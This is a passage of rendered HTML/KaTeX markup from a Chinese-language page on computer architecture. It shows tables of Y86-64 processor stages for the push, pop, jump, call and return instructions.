class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>+</mo><mo stretchy="false">(</mo><mo>−</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">valE \leftarrow valB + (-8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">8</span><span class="mclose">)</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>+</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">valE \leftarrow valB + 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>访存</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">M_8[valE] \leftarrow valA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>M</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valM \leftarrow M_8[valA]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.10903em;">lM</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mclose">]</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>写回</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[\%rsp] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[\%rsp] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>A</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>M</mi></mrow><annotation encoding="application/x-tex">R[rA] \leftarrow valM</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.10903em;">lM</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>更新 PC</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td></tr></tbody></table><hr /><table><thead><tr><th style="text-align:left">阶段</th><th style="text-align:left"><code>jXX Dest</code></th><th style="text-align:left"><code>call Dest</code></th><th style="text-align:left"><code>ret</code></th></tr></thead><tbody><tr><td style="text-align:left"><strong>取指</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valC \leftarrow M_8[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>9</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valC \leftarrow M_8[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>9</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">9</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>译码</strong></td><td style="text-align:left"></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[\%rsp]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valA \leftarrow R[\%rsp]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[\%rsp]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord">%</span><span class="mord mathnormal">rs</span><span class="mord mathnormal">p</span><span class="mclose">]</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>执行</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>C</mi><mi>n</mi><mi>d</mi><mo>←</mo><mi>C</mi><mi>o</mi><mi>n</mi><mi>d</mi><mo stretchy="false">(</mo><mi>C</mi><mi>C</mi><mo separator="true">,</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Cnd \leftarrow Cond(CC, ifun)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">CC</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>+</mo><mo stretchy="false">(</mo><mo>−</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">valE \leftarrow valB + (-8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">8</span><span class="mclose">)</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>+</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">valE \leftarrow valB + 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" 